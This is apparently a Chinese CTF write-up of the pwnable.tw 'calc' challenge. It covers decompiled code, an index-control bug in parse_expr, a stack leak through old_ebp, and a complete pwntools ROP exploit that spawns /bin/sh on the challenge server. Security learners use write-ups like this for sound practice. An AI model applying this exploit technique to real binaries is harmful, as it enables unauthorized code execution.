PWNABLE calc

查看文件基本信息

 分析程序行为

 静态分析

 1 unsigned int calc()
 2 {
 3   int every_num[101]; // [esp+18h] [ebp-5A0h] BYREF
 4   char s[1024]; // [esp+1ACh] [ebp-40Ch] BYREF
 5   unsigned int v3; // [esp+5ACh] [ebp-Ch]
 6 
 7   v3 = __readgsdword(0x14u);
 8   while ( 1 )
 9   {
10     bzero(s, 1024u);
11     if ( !get_expr((int)s, 1024) )              // 获取输入的公式,限制长度1024,
12       break;                                    // 所以不存在栈溢出
13     init_pool(every_num);                       // 将数组的每一个单位初始化为0
14     if ( parse_expr((int)s, every_num) )
15     {
16       printf("%d
", every_num[every_num[0]]);  // every_num的第一个数存放
17                                                 // 数组的长度,计算结果放在
18                                                 // 最后一个数中
19       fflush(stdout);
20     }
21   }
22   return __readgsdword(0x14u) ^ v3;
23 }
 1 int __cdecl parse_expr(int expression, _DWORD *every_num)
 2 {
 3   int v3; // eax
 4   _BYTE *temp; // [esp+20h] [ebp-88h]
 5   int i; // [esp+24h] [ebp-84h]
 6   int v6; // [esp+28h] [ebp-80h]
 7   unsigned int v7; // [esp+2Ch] [ebp-7Ch]
 8   char *s1; // [esp+30h] [ebp-78h]
 9   int v9; // [esp+34h] [ebp-74h]
10   char fuhao[100]; // [esp+38h] [ebp-70h] BYREF
11   unsigned int v11; // [esp+9Ch] [ebp-Ch]
12 
13   v11 = __readgsdword(0x14u);
14   temp = (_BYTE *)expression;
15   v6 = 0;
16   bzero(fuhao, 0x64u);
17   for ( i = 0; ; ++i )
18   {
19     if ( (unsigned int)(*(char *)(i + expression) - 48) > 9 )
20     {
21       v7 = i + expression - (_DWORD)temp;
22       s1 = (char *)malloc(v7 + 1);
23       memcpy(s1, temp, v7);
24       s1[v7] = 0;                               // 给字符串设置结尾
25       if ( !strcmp(s1, "0") )                   // 只要是表达式中出现0,就报这个错误
26       {
27         puts("prevent division by zero");
28         fflush(stdout);
29         return 0;
30       }
31       v9 = atoi(s1);
32       if ( v9 > 0 )
33       {                                         // 漏洞点
34         v3 = (*every_num)++;                    // 一直对数组中的第一个数进行加1,最后这个值即为表达式中数字的数量
35         every_num[v3 + 1] = v9;                 // 若能控制every_num数组的第一个数,就能够实现任意读写
36       }
37       if ( *(_BYTE *)(i + expression) && (unsigned int)(*(char *)(i + 1 + expression) - 48) > 9 )
38       {
39         puts("expression error!");              // 如果出现两个符号相连,就报错
40         fflush(stdout);
41         return 0;
42       }
43       temp = (_BYTE *)(i + 1 + expression);     // 将temp指向下一个数字的头部
44       if ( fuhao[v6] )
45       {
46         switch ( *(_BYTE *)(i + expression) )
47         {
48           case '%':
49           case '*':
50           case '/':
51             if ( fuhao[v6] != '+' && fuhao[v6] != '-' )
52               goto LABEL_14;
53             fuhao[++v6] = *(_BYTE *)(i + expression);
54             break;
55           case '+':
56           case '-':
57 LABEL_14:
58             eval(every_num, fuhao[v6]);
59             fuhao[v6] = *(_BYTE *)(i + expression);
60             break;
61           default:
62             eval(every_num, fuhao[v6--]);
63             break;
64         }
65       }
66       else
67       {
68         fuhao[v6] = *(_BYTE *)(i + expression); // 用于处理循环第一次时,给第一个符号数组进行赋值
69       }
70       if ( !*(_BYTE *)(i + expression) )
71         break;                                  // 如果是空的,那就结束程序
72     }
73   }
74   while ( v6 >= 0 )
75     eval(every_num, fuhao[v6--]);
76   return 1;
77 }

漏洞利用

静态链接存在大量gadget,故考虑用ret2system,这里程序中不存在现成的“/bin/sh”,所以需要手动输入到栈中,但这样得需要知道栈的地址

所以这里利用calc函数栈中的old_ebp来确定栈的位置

来看一下动态调试中,刚进入calc函数时,栈的情况:

 

 这里的c8位置,即为old_ebp的位置,我们可以用every_num[360]来进行泄露

那么同样的,cc位置为every_num[361],d0位置为every_num[362],d4位置为every_num[363]……

需要注意的是,e8这个位置,是我们泄露出来的old_ebp,所以可以直接用这个old_ebp来相对表示栈的其他位置,比如e4位置可以表示成old_ebp-0x4,ec位置可以表示成old_ebp+0x4等等

所以找到合适的gadget后,可以按下图来覆盖栈

EXP

from pwn import *

# context.log_level = 'debug'

'''
0x0805c34b : pop eax ; ret
0x080701d0 : pop edx ; pop ecx ; pop ebx ; ret
0x08049a21 : int 0x80
'''

# io=process('./calc')
io=remote('chall.pwnable.tw','10100')
io.recvuntil('=== Welcome to SECPROG calculator ===')
io.sendline('+360')
io.recv()
old_ebp=int(io.recv())

gadget=[0x0805c34b,0xb,0x080701d0,0,0,old_ebp,0x08049a21,u32('/bin'),u32('/shx00')]

for i in range(0,len(gadget)):
    io.sendline('+'+str(361+i))
    tmp=gadget[i]-int(io.recvline())
    if tmp>0:
        io.sendline('+'+str(361+i)+'+'+str(tmp))
    else:
        io.sendline('+'+str(361+i)+str(tmp))
    io.recvline()

io.sendline()
io.interactive()

 

原文地址:https://www.cnblogs.com/sweetbaby/p/15458493.html